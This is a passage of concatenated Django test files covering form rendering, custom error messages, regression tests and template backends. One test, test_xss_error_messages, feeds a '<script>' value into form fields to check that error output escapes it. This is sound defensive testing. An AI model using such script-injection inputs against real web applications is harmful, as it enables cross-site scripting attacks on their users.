</select><input type="hidden" name="initial-multi_choice_int" value="1" id="initial-id_multi_choice_int_0" /></p>"""
        )

    def test_initial_instance_value(self):
        "Initial instances for model fields may also be instances (refs #7287)"
        ChoiceOptionModel.objects.create(id=1, name='default')
        obj2 = ChoiceOptionModel.objects.create(id=2, name='option 2')
        obj3 = ChoiceOptionModel.objects.create(id=3, name='option 3')
        self.assertHTMLEqual(
            ChoiceFieldForm(initial={
                'choice': obj2,
                'choice_int': obj2,
                'multi_choice': [obj2, obj3],
                'multi_choice_int': ChoiceOptionModel.objects.exclude(name="default"),
            }).as_p(),
            """<p><label for="id_choice">Choice:</label> <select name="choice" id="id_choice" required>
<option value="1">ChoiceOption 1</option>
<option value="2" selected="selected">ChoiceOption 2</option>
<option value="3">ChoiceOption 3</option>
</select><input type="hidden" name="initial-choice" value="2" id="initial-id_choice" /></p>
<p><label for="id_choice_int">Choice int:</label> <select name="choice_int" id="id_choice_int" required>
<option value="1">ChoiceOption 1</option>
<option value="2" selected="selected">ChoiceOption 2</option>
<option value="3">ChoiceOption 3</option>
</select><input type="hidden" name="initial-choice_int" value="2" id="initial-id_choice_int" /></p>
<p><label for="id_multi_choice">Multi choice:</label>
<select multiple="multiple" name="multi_choice" id="id_multi_choice" required>
<option value="1">ChoiceOption 1</option>
<option value="2" selected="selected">ChoiceOption 2</option>
<option value="3" selected="selected">ChoiceOption 3</option>
</select><input type="hidden" name="initial-multi_choice" value="2" id="initial-id_multi_choice_0" />
<input type="hidden" name="initial-multi_choice" value="3" id="initial-id_multi_choice_1" /></p>
<p><label for="id_multi_choice_int">Multi choice int:</label>
<select multiple="multiple" name="multi_choice_int" id="id_multi_choice_int" required>
<option value="1">ChoiceOption 1</option>
<option value="2" selected="selected">ChoiceOption 2</option>
<option value="3" selected="selected">ChoiceOption 3</option>
</select><input type="hidden" name="initial-multi_choice_int" value="2" id="initial-id_multi_choice_int_0" />
<input type="hidden" name="initial-multi_choice_int" value="3" id="initial-id_multi_choice_int_1" /></p>"""
        )


class FormsModelTestCase(TestCase):
    def test_unicode_filename(self):
        # FileModel with unicode filename and data #########################
        file1 = SimpleUploadedFile('我隻氣墊船裝滿晒鱔.txt', 'मेरी मँडराने वाली नाव सर्पमीनों से भरी ह'.encode('utf-8'))
        f = FileForm(data={}, files={'file1': file1}, auto_id=False)
        self.assertTrue(f.is_valid())
        self.assertIn('file1', f.cleaned_data)
        m = FileModel.objects.create(file=f.cleaned_data['file1'])
        self.assertEqual(m.file.name, 'tests/\u6211\u96bb\u6c23\u588a\u8239\u88dd\u6eff\u6652\u9c54.txt')
        m.delete()

    def test_boundary_conditions(self):
        # Boundary conditions on a PositiveIntegerField #########################
        class BoundaryForm(ModelForm):
            class Meta:
                model = BoundaryModel
                fields = '__all__'

        f = BoundaryForm({'positive_integer': 100})
        self.assertTrue(f.is_valid())
        f = BoundaryForm({'positive_integer': 0})
        self.assertTrue(f.is_valid())
        f = BoundaryForm({'positive_integer': -100})
        self.assertFalse(f.is_valid())

    def test_formfield_initial(self):
        # Formfield initial values ########
        # If the model has default values for some fields, they are used as the formfield
        # initial values.
        class DefaultsForm(ModelForm):
            class Meta:
                model = Defaults
                fields = '__all__'

        self.assertEqual(DefaultsForm().fields['name'].initial, 'class default value')
        self.assertEqual(DefaultsForm().fields['def_date'].initial, datetime.date(1980, 1, 1))
        self.assertEqual(DefaultsForm().fields['value'].initial, 42)
        r1 = DefaultsForm()['callable_default'].as_widget()
        r2 = DefaultsForm()['callable_default'].as_widget()
        self.assertNotEqual(r1, r2)

        # In a ModelForm that is passed an instance, the initial values come from the
        # instance's values, not the model's defaults.
        foo_instance = Defaults(name='instance value', def_date=datetime.date(1969, 4, 4), value=12)
        instance_form = DefaultsForm(instance=foo_instance)
        self.assertEqual(instance_form.initial['name'], 'instance value')
        self.assertEqual(instance_form.initial['def_date'], datetime.date(1969, 4, 4))
        self.assertEqual(instance_form.initial['value'], 12)

        from django.forms import CharField

        class ExcludingForm(ModelForm):
            name = CharField(max_length=255)

            class Meta:
                model = Defaults
                exclude = ['name', 'callable_default']

        f = ExcludingForm({'name': 'Hello', 'value': 99, 'def_date': datetime.date(1999, 3, 2)})
        self.assertTrue(f.is_valid())
        self.assertEqual(f.cleaned_data['name'], 'Hello')
        obj = f.save()
        self.assertEqual(obj.name, 'class default value')
        self.assertEqual(obj.value, 99)
        self.assertEqual(obj.def_date, datetime.date(1999, 3, 2))


class RelatedModelFormTests(SimpleTestCase):
    def test_invalid_loading_order(self):
        """
        Test for issue 10405
        """
        class A(models.Model):
            ref = models.ForeignKey("B", models.CASCADE)

        class Meta:
            model = A
            fields = '__all__'

        with self.assertRaises(ValueError):
            ModelFormMetaclass(str('Form'), (ModelForm,), {'Meta': Meta})

        class B(models.Model):
            pass

    def test_valid_loading_order(self):
        """
        Test for issue 10405
        """
        class C(models.Model):
            ref = models.ForeignKey("D", models.CASCADE)

        class D(models.Model):
            pass

        class Meta:
            model = C
            fields = '__all__'

        self.assertTrue(issubclass(ModelFormMetaclass(str('Form'), (ModelForm,), {'Meta': Meta}), ModelForm))


class ManyToManyExclusionTestCase(TestCase):
    def test_m2m_field_exclusion(self):
        # Issue 12337. save_instance should honor the passed-in exclude keyword.
        opt1 = ChoiceOptionModel.objects.create(id=1, name='default')
        opt2 = ChoiceOptionModel.objects.create(id=2, name='option 2')
        opt3 = ChoiceOptionModel.objects.create(id=3, name='option 3')
        initial = {
            'choice': opt1,
            'choice_int': opt1,
        }
        data = {
            'choice': opt2.pk,
            'choice_int': opt2.pk,
            'multi_choice': 'string data!',
            'multi_choice_int': [opt1.pk],
        }
        instance = ChoiceFieldModel.objects.create(**initial)
        instance.multi_choice.set([opt2, opt3])
        instance.multi_choice_int.set([opt2, opt3])
        form = ChoiceFieldExclusionForm(data=data, instance=instance)
        self.assertTrue(form.is_valid())
        self.assertEqual(form.cleaned_data['multi_choice'], data['multi_choice'])
        form.save()
        self.assertEqual(form.instance.choice.pk, data['choice'])
        self.assertEqual(form.instance.choice_int.pk, data['choice_int'])
        self.assertEqual(list(form.instance.multi_choice.all()), [opt2, opt3])
        self.assertEqual([obj.pk for obj in form.instance.multi_choice_int.all()], data['multi_choice_int'])


class EmptyLabelTestCase(TestCase):
    def test_empty_field_char(self):
        f = EmptyCharLabelChoiceForm()
        self.assertHTMLEqual(
            f.as_p(),
            """<p><label for="id_name">Name:</label> <input id="id_name" maxlength="10" name="name" type="text" required /></p>
<p><label for="id_choice">Choice:</label> <select id="id_choice" name="choice">
<option value="" selected="selected">No Preference</option>
<option value="f">Foo</option>
<option value="b">Bar</option>
</select></p>"""
        )

    def test_empty_field_char_none(self):
        f = EmptyCharLabelNoneChoiceForm()
        self.assertHTMLEqual(
            f.as_p(),
            """<p><label for="id_name">Name:</label> <input id="id_name" maxlength="10" name="name" type="text" required /></p>
<p><label for="id_choice_string_w_none">Choice string w none:</label>
<select id="id_choice_string_w_none" name="choice_string_w_none">
<option value="" selected="selected">No Preference</option>
<option value="f">Foo</option>
<option value="b">Bar</option>
</select></p>"""
        )

    def test_save_empty_label_forms(self):
        # Test that saving a form with a blank choice results in the expected
        # value being stored in the database.
        tests = [
            (EmptyCharLabelNoneChoiceForm, 'choice_string_w_none', None),
            (EmptyIntegerLabelChoiceForm, 'choice_integer', None),
            (EmptyCharLabelChoiceForm, 'choice', ''),
        ]

        for form, key, expected in tests:
            f = form({'name': 'some-key', key: ''})
            self.assertTrue(f.is_valid())
            m = f.save()
            self.assertEqual(expected, getattr(m, key))
            self.assertEqual('No Preference',
                             getattr(m, 'get_{}_display'.format(key))())

    def test_empty_field_integer(self):
        f = EmptyIntegerLabelChoiceForm()
        self.assertHTMLEqual(
            f.as_p(),
            """<p><label for="id_name">Name:</label> <input id="id_name" maxlength="10" name="name" type="text" required /></p>
<p><label for="id_choice_integer">Choice integer:</label>
<select id="id_choice_integer" name="choice_integer">
<option value="" selected="selected">No Preference</option>
<option value="1">Foo</option>
<option value="2">Bar</option>
</select></p>"""
        )

    def test_get_display_value_on_none(self):
        m = ChoiceModel.objects.create(name='test', choice='', choice_integer=None)
        self.assertIsNone(m.choice_integer)
        self.assertEqual('No Preference', m.get_choice_integer_display())

    def test_html_rendering_of_prepopulated_models(self):
        none_model = ChoiceModel(name='none-test', choice_integer=None)
        f = EmptyIntegerLabelChoiceForm(instance=none_model)
        self.assertHTMLEqual(
            f.as_p(),
            """<p><label for="id_name">Name:</label>
<input id="id_name" maxlength="10" name="name" type="text" value="none-test" required /></p>
<p><label for="id_choice_integer">Choice integer:</label>
<select id="id_choice_integer" name="choice_integer">
<option value="" selected="selected">No Preference</option>
<option value="1">Foo</option>
<option value="2">Bar</option>
</select></p>"""
        )

        foo_model = ChoiceModel(name='foo-test', choice_integer=1)
        f = EmptyIntegerLabelChoiceForm(instance=foo_model)
        self.assertHTMLEqual(
            f.as_p(),
            """<p><label for="id_name">Name:</label>
<input id="id_name" maxlength="10" name="name" type="text" value="foo-test" required /></p>
<p><label for="id_choice_integer">Choice integer:</label>
<select id="id_choice_integer" name="choice_integer">
<option value="">No Preference</option>
<option value="1" selected="selected">Foo</option>
<option value="2">Bar</option>
</select></p>"""
        )






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.core.files.uploadedfile import SimpleUploadedFile
from django.forms import (
    BooleanField, CharField, ChoiceField, DateField, DateTimeField,
    DecimalField, EmailField, FileField, FloatField, Form,
    GenericIPAddressField, IntegerField, ModelChoiceField,
    ModelMultipleChoiceField, MultipleChoiceField, RegexField,
    SplitDateTimeField, TimeField, URLField, ValidationError, utils,
)
from django.test import SimpleTestCase, TestCase
from django.utils.encoding import python_2_unicode_compatible
from django.utils.safestring import mark_safe


class AssertFormErrorsMixin(object):
    def assertFormErrors(self, expected, the_callable, *args, **kwargs):
        with self.assertRaises(ValidationError) as cm:
            the_callable(*args, **kwargs)
        self.assertEqual(cm.exception.messages, expected)


class FormsErrorMessagesTestCase(SimpleTestCase, AssertFormErrorsMixin):
    def test_charfield(self):
        e = {
            'required': 'REQUIRED',
            'min_length': 'LENGTH %(show_value)s, MIN LENGTH %(limit_value)s',
            'max_length': 'LENGTH %(show_value)s, MAX LENGTH %(limit_value)s',
        }
        f = CharField(min_length=5, max_length=10, error_messages=e)
        self.assertFormErrors(['REQUIRED'], f.clean, '')
        self.assertFormErrors(['LENGTH 4, MIN LENGTH 5'], f.clean, '1234')
        self.assertFormErrors(['LENGTH 11, MAX LENGTH 10'], f.clean, '12345678901')

    def test_integerfield(self):
        e = {
            'required': 'REQUIRED',
            'invalid': 'INVALID',
            'min_value': 'MIN VALUE IS %(limit_value)s',
            'max_value': 'MAX VALUE IS %(limit_value)s',
        }
        f = IntegerField(min_value=5, max_value=10, error_messages=e)
        self.assertFormErrors(['REQUIRED'], f.clean, '')
        self.assertFormErrors(['INVALID'], f.clean, 'abc')
        self.assertFormErrors(['MIN VALUE IS 5'], f.clean, '4')
        self.assertFormErrors(['MAX VALUE IS 10'], f.clean, '11')

    def test_floatfield(self):
        e = {
            'required': 'REQUIRED',
            'invalid': 'INVALID',
            'min_value': 'MIN VALUE IS %(limit_value)s',
            'max_value': 'MAX VALUE IS %(limit_value)s',
        }
        f = FloatField(min_value=5, max_value=10, error_messages=e)
        self.assertFormErrors(['REQUIRED'], f.clean, '')
        self.assertFormErrors(['INVALID'], f.clean, 'abc')
        self.assertFormErrors(['MIN VALUE IS 5'], f.clean, '4')
        self.assertFormErrors(['MAX VALUE IS 10'], f.clean, '11')

    def test_decimalfield(self):
        e = {
            'required': 'REQUIRED',
            'invalid': 'INVALID',
            'min_value': 'MIN VALUE IS %(limit_value)s',
            'max_value': 'MAX VALUE IS %(limit_value)s',
            'max_digits': 'MAX DIGITS IS %(max)s',
            'max_decimal_places': 'MAX DP IS %(max)s',
            'max_whole_digits': 'MAX DIGITS BEFORE DP IS %(max)s',
        }
        f = DecimalField(min_value=5, max_value=10, error_messages=e)
        self.assertFormErrors(['REQUIRED'], f.clean, '')
        self.assertFormErrors(['INVALID'], f.clean, 'abc')
        self.assertFormErrors(['MIN VALUE IS 5'], f.clean, '4')
        self.assertFormErrors(['MAX VALUE IS 10'], f.clean, '11')

        f2 = DecimalField(max_digits=4, decimal_places=2, error_messages=e)
        self.assertFormErrors(['MAX DIGITS IS 4'], f2.clean, '123.45')
        self.assertFormErrors(['MAX DP IS 2'], f2.clean, '1.234')
        self.assertFormErrors(['MAX DIGITS BEFORE DP IS 2'], f2.clean, '123.4')

    def test_datefield(self):
        e = {
            'required': 'REQUIRED',
            'invalid': 'INVALID',
        }
        f = DateField(error_messages=e)
        self.assertFormErrors(['REQUIRED'], f.clean, '')
        self.assertFormErrors(['INVALID'], f.clean, 'abc')

    def test_timefield(self):
        e = {
            'required': 'REQUIRED',
            'invalid': 'INVALID',
        }
        f = TimeField(error_messages=e)
        self.assertFormErrors(['REQUIRED'], f.clean, '')
        self.assertFormErrors(['INVALID'], f.clean, 'abc')

    def test_datetimefield(self):
        e = {
            'required': 'REQUIRED',
            'invalid': 'INVALID',
        }
        f = DateTimeField(error_messages=e)
        self.assertFormErrors(['REQUIRED'], f.clean, '')
        self.assertFormErrors(['INVALID'], f.clean, 'abc')

    def test_regexfield(self):
        e = {
            'required': 'REQUIRED',
            'invalid': 'INVALID',
            'min_length': 'LENGTH %(show_value)s, MIN LENGTH %(limit_value)s',
            'max_length': 'LENGTH %(show_value)s, MAX LENGTH %(limit_value)s',
        }
        f = RegexField(r'^[0-9]+$', min_length=5, max_length=10, error_messages=e)
        self.assertFormErrors(['REQUIRED'], f.clean, '')
        self.assertFormErrors(['INVALID'], f.clean, 'abcde')
        self.assertFormErrors(['LENGTH 4, MIN LENGTH 5'], f.clean, '1234')
        self.assertFormErrors(['LENGTH 11, MAX LENGTH 10'], f.clean, '12345678901')

    def test_emailfield(self):
        e = {
            'required': 'REQUIRED',
            'invalid': 'INVALID',
            'min_length': 'LENGTH %(show_value)s, MIN LENGTH %(limit_value)s',
            'max_length': 'LENGTH %(show_value)s, MAX LENGTH %(limit_value)s',
        }
        f = EmailField(min_length=8, max_length=10, error_messages=e)
        self.assertFormErrors(['REQUIRED'], f.clean, '')
        self.assertFormErrors(['INVALID'], f.clean, 'abcdefgh')
        self.assertFormErrors(['LENGTH 7, MIN LENGTH 8'], f.clean, 'a@b.com')
        self.assertFormErrors(['LENGTH 11, MAX LENGTH 10'], f.clean, 'aye@bee.com')

    def test_filefield(self):
        e = {
            'required': 'REQUIRED',
            'invalid': 'INVALID',
            'missing': 'MISSING',
            'empty': 'EMPTY FILE',
        }
        f = FileField(error_messages=e)
        self.assertFormErrors(['REQUIRED'], f.clean, '')
        self.assertFormErrors(['INVALID'], f.clean, 'abc')
        self.assertFormErrors(['EMPTY FILE'], f.clean, SimpleUploadedFile('name', None))
        self.assertFormErrors(['EMPTY FILE'], f.clean, SimpleUploadedFile('name', ''))

    def test_urlfield(self):
        e = {
            'required': 'REQUIRED',
            'invalid': 'INVALID',
            'max_length': '"%(value)s" has more than %(limit_value)d characters.',
        }
        f = URLField(error_messages=e, max_length=17)
        self.assertFormErrors(['REQUIRED'], f.clean, '')
        self.assertFormErrors(['INVALID'], f.clean, 'abc.c')
        self.assertFormErrors(
            ['"http://djangoproject.com" has more than 17 characters.'],
            f.clean,
            'djangoproject.com'
        )

    def test_booleanfield(self):
        e = {
            'required': 'REQUIRED',
        }
        f = BooleanField(error_messages=e)
        self.assertFormErrors(['REQUIRED'], f.clean, '')

    def test_choicefield(self):
        e = {
            'required': 'REQUIRED',
            'invalid_choice': '%(value)s IS INVALID CHOICE',
        }
        f = ChoiceField(choices=[('a', 'aye')], error_messages=e)
        self.assertFormErrors(['REQUIRED'], f.clean, '')
        self.assertFormErrors(['b IS INVALID CHOICE'], f.clean, 'b')

    def test_multiplechoicefield(self):
        e = {
            'required': 'REQUIRED',
            'invalid_choice': '%(value)s IS INVALID CHOICE',
            'invalid_list': 'NOT A LIST',
        }
        f = MultipleChoiceField(choices=[('a', 'aye')], error_messages=e)
        self.assertFormErrors(['REQUIRED'], f.clean, '')
        self.assertFormErrors(['NOT A LIST'], f.clean, 'b')
        self.assertFormErrors(['b IS INVALID CHOICE'], f.clean, ['b'])

    def test_splitdatetimefield(self):
        e = {
            'required': 'REQUIRED',
            'invalid_date': 'INVALID DATE',
            'invalid_time': 'INVALID TIME',
        }
        f = SplitDateTimeField(error_messages=e)
        self.assertFormErrors(['REQUIRED'], f.clean, '')
        self.assertFormErrors(['INVALID DATE', 'INVALID TIME'], f.clean, ['a', 'b'])

    def test_generic_ipaddressfield(self):
        e = {
            'required': 'REQUIRED',
            'invalid': 'INVALID IP ADDRESS',
        }
        f = GenericIPAddressField(error_messages=e)
        self.assertFormErrors(['REQUIRED'], f.clean, '')
        self.assertFormErrors(['INVALID IP ADDRESS'], f.clean, '127.0.0')

    def test_subclassing_errorlist(self):
        class TestForm(Form):
            first_name = CharField()
            last_name = CharField()
            birthday = DateField()

            def clean(self):
                raise ValidationError("I like to be awkward.")

        @python_2_unicode_compatible
        class CustomErrorList(utils.ErrorList):
            def __str__(self):
                return self.as_divs()

            def as_divs(self):
                if not self:
                    return ''
                return mark_safe('<div class="error">%s</div>' % ''.join('<p>%s</p>' % e for e in self))

        # This form should print errors the default way.
        form1 = TestForm({'first_name': 'John'})
        self.assertHTMLEqual(
            str(form1['last_name'].errors),
            '<ul class="errorlist"><li>This field is required.</li></ul>'
        )
        self.assertHTMLEqual(
            str(form1.errors['__all__']),
            '<ul class="errorlist nonfield"><li>I like to be awkward.</li></ul>'
        )

        # This one should wrap error groups in the customized way.
        form2 = TestForm({'first_name': 'John'}, error_class=CustomErrorList)
        self.assertHTMLEqual(str(form2['last_name'].errors), '<div class="error"><p>This field is required.</p></div>')
        self.assertHTMLEqual(str(form2.errors['__all__']), '<div class="error"><p>I like to be awkward.</p></div>')


class ModelChoiceFieldErrorMessagesTestCase(TestCase, AssertFormErrorsMixin):
    def test_modelchoicefield(self):
        # Create choices for the model choice field tests below.
        from forms_tests.models import ChoiceModel
        ChoiceModel.objects.create(pk=1, name='a')
        ChoiceModel.objects.create(pk=2, name='b')
        ChoiceModel.objects.create(pk=3, name='c')

        # ModelChoiceField
        e = {
            'required': 'REQUIRED',
            'invalid_choice': 'INVALID CHOICE',
        }
        f = ModelChoiceField(queryset=ChoiceModel.objects.all(), error_messages=e)
        self.assertFormErrors(['REQUIRED'], f.clean, '')
        self.assertFormErrors(['INVALID CHOICE'], f.clean, '4')

        # ModelMultipleChoiceField
        e = {
            'required': 'REQUIRED',
            'invalid_choice': '%(value)s IS INVALID CHOICE',
            'list': 'NOT A LIST OF VALUES',
        }
        f = ModelMultipleChoiceField(queryset=ChoiceModel.objects.all(), error_messages=e)
        self.assertFormErrors(['REQUIRED'], f.clean, '')
        self.assertFormErrors(['NOT A LIST OF VALUES'], f.clean, '3')
        self.assertFormErrors(['4 IS INVALID CHOICE'], f.clean, ['4'])






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.forms import (
    CharField, ChoiceField, Form, HiddenInput, IntegerField, ModelForm,
    ModelMultipleChoiceField, MultipleChoiceField, RadioSelect, Select,
    TextInput,
)
from django.test import TestCase, ignore_warnings
from django.utils import translation
from django.utils.translation import gettext_lazy, ugettext_lazy

from ..models import Cheese


class FormsRegressionsTestCase(TestCase):
    def test_class(self):
        # Tests to prevent against recurrences of earlier bugs.
        extra_attrs = {'class': 'special'}

        class TestForm(Form):
            f1 = CharField(max_length=10, widget=TextInput(attrs=extra_attrs))
            f2 = CharField(widget=TextInput(attrs=extra_attrs))

        self.assertHTMLEqual(
            TestForm(auto_id=False).as_p(),
            '<p>F1: <input type="text" class="special" name="f1" maxlength="10" required /></p>\n'
            '<p>F2: <input type="text" class="special" name="f2" required /></p>'
        )

    def test_regression_3600(self):
        # Tests for form i18n #
        # There were some problems with form translations in #3600

        class SomeForm(Form):
            username = CharField(max_length=10, label=ugettext_lazy('username'))

        f = SomeForm()
        self.assertHTMLEqual(
            f.as_p(),
            '<p><label for="id_username">username:</label>'
            '<input id="id_username" type="text" name="username" maxlength="10" required /></p>'
        )

        # Translations are done at rendering time, so multi-lingual apps can define forms)
        with translation.override('de'):
            self.assertHTMLEqual(
                f.as_p(),
                '<p><label for="id_username">Benutzername:</label>'
                '<input id="id_username" type="text" name="username" maxlength="10" required /></p>'
            )
        with translation.override('pl'):
            self.assertHTMLEqual(
                f.as_p(),
                '<p><label for="id_username">u\u017cytkownik:</label>'
                '<input id="id_username" type="text" name="username" maxlength="10" required /></p>'
            )

    def test_regression_5216(self):
        # There was some problems with form translations in #5216
        class SomeForm(Form):
            field_1 = CharField(max_length=10, label=ugettext_lazy('field_1'))
            field_2 = CharField(
                max_length=10,
                label=ugettext_lazy('field_2'),
                widget=TextInput(attrs={'id': 'field_2_id'}),
            )

        f = SomeForm()
        self.assertHTMLEqual(f['field_1'].label_tag(), '<label for="id_field_1">field_1:</label>')
        self.assertHTMLEqual(f['field_2'].label_tag(), '<label for="field_2_id">field_2:</label>')

        # Unicode decoding problems...
        GENDERS = (('\xc5', 'En tied\xe4'), ('\xf8', 'Mies'), ('\xdf', 'Nainen'))

        class SomeForm(Form):
            somechoice = ChoiceField(choices=GENDERS, widget=RadioSelect(), label='\xc5\xf8\xdf')

        f = SomeForm()
        self.assertHTMLEqual(
            f.as_p(),
            '<p><label for="id_somechoice_0">\xc5\xf8\xdf:</label>'
            '<ul id="id_somechoice">\n'
            '<li><label for="id_somechoice_0">'
            '<input type="radio" id="id_somechoice_0" value="\xc5" name="somechoice" required /> '
            'En tied\xe4</label></li>\n'
            '<li><label for="id_somechoice_1">'
            '<input type="radio" id="id_somechoice_1" value="\xf8" name="somechoice" required /> '
            'Mies</label></li>\n<li><label for="id_somechoice_2">'
            '<input type="radio" id="id_somechoice_2" value="\xdf" name="somechoice" required /> '
            'Nainen</label></li>\n</ul></p>'
        )

        # Translated error messages used to be buggy.
        with translation.override('ru'):
            f = SomeForm({})
            self.assertHTMLEqual(
                f.as_p(),
                '<ul class="errorlist"><li>'
                '\u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c'
                '\u043d\u043e\u0435 \u043f\u043e\u043b\u0435.</li></ul>\n'
                '<p><label for="id_somechoice_0">\xc5\xf8\xdf:</label>'
                ' <ul id="id_somechoice">\n<li><label for="id_somechoice_0">'
                '<input type="radio" id="id_somechoice_0" value="\xc5" name="somechoice" required /> '
                'En tied\xe4</label></li>\n'
                '<li><label for="id_somechoice_1">'
                '<input type="radio" id="id_somechoice_1" value="\xf8" name="somechoice" required /> '
                'Mies</label></li>\n<li><label for="id_somechoice_2">'
                '<input type="radio" id="id_somechoice_2" value="\xdf" name="somechoice" required /> '
                'Nainen</label></li>\n</ul></p>'
            )

        # Deep copying translated text shouldn't raise an error)
        class CopyForm(Form):
            degree = IntegerField(widget=Select(choices=((1, gettext_lazy('test')),)))

        f = CopyForm()

    @ignore_warnings(category=UnicodeWarning)
    def test_regression_5216_b(self):
        # Testing choice validation with UTF-8 bytestrings as input (these are the
        # Russian abbreviations "мес." and "шт.".
        UNITS = ((b'\xd0\xbc\xd0\xb5\xd1\x81.', b'\xd0\xbc\xd0\xb5\xd1\x81.'),
                 (b'\xd1\x88\xd1\x82.', b'\xd1\x88\xd1\x82.'))
        f = ChoiceField(choices=UNITS)
        self.assertEqual(f.clean('\u0448\u0442.'), '\u0448\u0442.')
        self.assertEqual(f.clean(b'\xd1\x88\xd1\x82.'), '\u0448\u0442.')

    def test_misc(self):
        # There once was a problem with Form fields called "data". Let's make sure that
        # doesn't come back.
        class DataForm(Form):
            data = CharField(max_length=10)

        f = DataForm({'data': 'xyzzy'})
        self.assertTrue(f.is_valid())
        self.assertEqual(f.cleaned_data, {'data': 'xyzzy'})

        # A form with *only* hidden fields that has errors is going to be very unusual.
        class HiddenForm(Form):
            data = IntegerField(widget=HiddenInput)

        f = HiddenForm({})
        self.assertHTMLEqual(
            f.as_p(),
            '<ul class="errorlist nonfield">'
            '<li>(Hidden field data) This field is required.</li></ul>\n<p> '
            '<input type="hidden" name="data" id="id_data" /></p>'
        )
        self.assertHTMLEqual(
            f.as_table(),
            '<tr><td colspan="2"><ul class="errorlist nonfield">'
            '<li>(Hidden field data) This field is required.</li></ul>'
            '<input type="hidden" name="data" id="id_data" /></td></tr>'
        )

    def test_xss_error_messages(self):
        ###################################################
        # Tests for XSS vulnerabilities in error messages #
        ###################################################

        # The forms layer doesn't escape input values directly because error messages
        # might be presented in non-HTML contexts. Instead, the message is just marked
        # for escaping by the template engine. So we'll need to construct a little
        # silly template to trigger the escaping.
        from django.template import Template, Context
        t = Template('{{ form.errors }}')

        class SomeForm(Form):
            field = ChoiceField(choices=[('one', 'One')])

        f = SomeForm({'field': '<script>'})
        self.assertHTMLEqual(
            t.render(Context({'form': f})),
            '<ul class="errorlist"><li>field<ul class="errorlist">'
            '<li>Select a valid choice. &lt;script&gt; is not one of the '
            'available choices.</li></ul></li></ul>'
        )

        class SomeForm(Form):
            field = MultipleChoiceField(choices=[('one', 'One')])

        f = SomeForm({'field': ['<script>']})
        self.assertHTMLEqual(
            t.render(Context({'form': f})),
            '<ul class="errorlist"><li>field<ul class="errorlist">'
            '<li>Select a valid choice. &lt;script&gt; is not one of the '
            'available choices.</li></ul></li></ul>'
        )

        from forms_tests.models import ChoiceModel

        class SomeForm(Form):
            field = ModelMultipleChoiceField(ChoiceModel.objects.all())

        f = SomeForm({'field': ['<script>']})
        self.assertHTMLEqual(
            t.render(Context({'form': f})),
            '<ul class="errorlist"><li>field<ul class="errorlist">'
            '<li>&quot;&lt;script&gt;&quot; is not a valid value for a '
            'primary key.</li></ul></li></ul>'
        )

    def test_regression_14234(self):
        """
        Re-cleaning an instance that was added via a ModelForm should not raise
        a pk uniqueness error.
        """
        class CheeseForm(ModelForm):
            class Meta:
                model = Cheese
                fields = '__all__'

        form = CheeseForm({
            'name': 'Brie',
        })

        self.assertTrue(form.is_valid())

        obj = form.save()
        obj.name = 'Camembert'
        obj.full_clean()






# Since this package contains a "jinja2" directory, this is required to
# silence an ImportWarning warning on Python 2.
from __future__ import absolute_import

from unittest import skipIf

from django.template import TemplateSyntaxError
from django.test import RequestFactory

from .test_dummy import TemplateStringsTests

try:
    import jinja2
except ImportError:
    jinja2 = None
    Jinja2 = None
else:
    from django.template.backends.jinja2 import Jinja2


@skipIf(jinja2 is None, "this test requires jinja2")
class Jinja2Tests(TemplateStringsTests):

    engine_class = Jinja2
    backend_name = 'jinja2'
    options = {
        'keep_trailing_newline': True,
        'context_processors': [
            'django.template.context_processors.static',
        ],
    }

    def test_origin(self):
        template = self.engine.get_template('template_backends/hello.html')
        self.assertTrue(template.origin.name.endswith('hello.html'))
        self.assertEqual(template.origin.template_name, 'template_backends/hello.html')

    def test_origin_from_string(self):
        template = self.engine.from_string('Hello!\n')
        self.assertEqual(template.origin.name, '<template>')
        self.assertIsNone(template.origin.template_name)

    def test_self_context(self):
        """
        Using 'self' in the context should not throw errors (#24538).
        """
        # self will be overridden to be a TemplateReference, so the self
        # variable will not come through. Attempting to use one though should
        # not throw an error.
        template = self.engine.from_string('hello {{ foo }}!')
        content = template.render(context={'self': 'self', 'foo': 'world'})
        self.assertEqual(content, 'hello world!')

    def test_exception_debug_info_min_context(self):
        with self.assertRaises(TemplateSyntaxError) as e:
            self.engine.get_template('template_backends/syntax_error.html')
        debug = e.exception.template_debug
        self.assertEqual(debug['after'], '')
        self.assertEqual(debug['before'], '')
        self.assertEqual(debug['during'], '{% block %}')
        self.assertEqual(debug['bottom'], 1)
        self.assertEqual(debug['top'], 0)
        self.assertEqual(debug['line'], 1)
        self.assertEqual(debug['total'], 1)
        self.assertEqual(len(debug['source_lines']), 1)
        self.assertTrue(debug['name'].endswith('syntax_error.html'))
        self.assertIn('message', debug)

    def test_exception_debug_info_max_context(self):
        with self.assertRaises(TemplateSyntaxError) as e:
            self.engine.get_template('template_backends/syntax_error2.html')
        debug = e.exception.template_debug
        self.assertEqual(debug['after'], '')
        self.assertEqual(debug['before'], '')
        self.assertEqual(debug['during'], '{% block %}')
        self.assertEqual(debug['bottom'], 26)
        self.assertEqual(debug['top'], 5)
        self.assertEqual(debug['line'], 16)
        self.assertEqual(debug['total'], 31)
        self.assertEqual(len(debug['source_lines']), 21)
        self.assertTrue(debug['name'].endswith('syntax_error2.html'))
        self.assertIn('message', debug)

    def test_context_processors(self):
        request = RequestFactory().get('/')
        template = self.engine.from_string('Static URL: {{ STATIC_URL }}')
        content = template.render(request=request)
        self.assertEqual(content, 'Static URL: /static/')
        with self.settings(STATIC_URL='/s/'):
            content = template.render(request=request)
        self.assertEqual(content, 'Static URL: /s/')






from django.core.exceptions import ImproperlyConfigured
from django.template import engines
from django.test import SimpleTestCase, override_settings


class TemplateStringsTests(SimpleTestCase):

    @override_settings(TEMPLATES=[{
        'BACKEND': 'raise.import.error',
    }])
    def test_backend_import_error(self):
        """
        Failing to import a backend keeps raising the original import error.

        Regression test for #24265.
        """
        with self.assertRaises(ImportError):
            engines.all()
        with self.assertRaises(ImportError):
            engines.all()

    @override_settings(TEMPLATES=[{
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        # Incorrect: APP_DIRS and loaders are mutually incompatible.
        'APP_DIRS': True,
        'OPTIONS': {'loaders': []},
    }])
    def test_backend_improperly_configured(self):
        """
        Failing to initialize a backend keeps raising the original exception.

        Regression test for #24265.
        """
        with self.assertRaises(ImproperlyConfigured):
            engines.all()
        with self.assertRaises(ImproperlyConfigured):
            engines.all()

    @override_settings(TEMPLATES=[{
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
    }, {
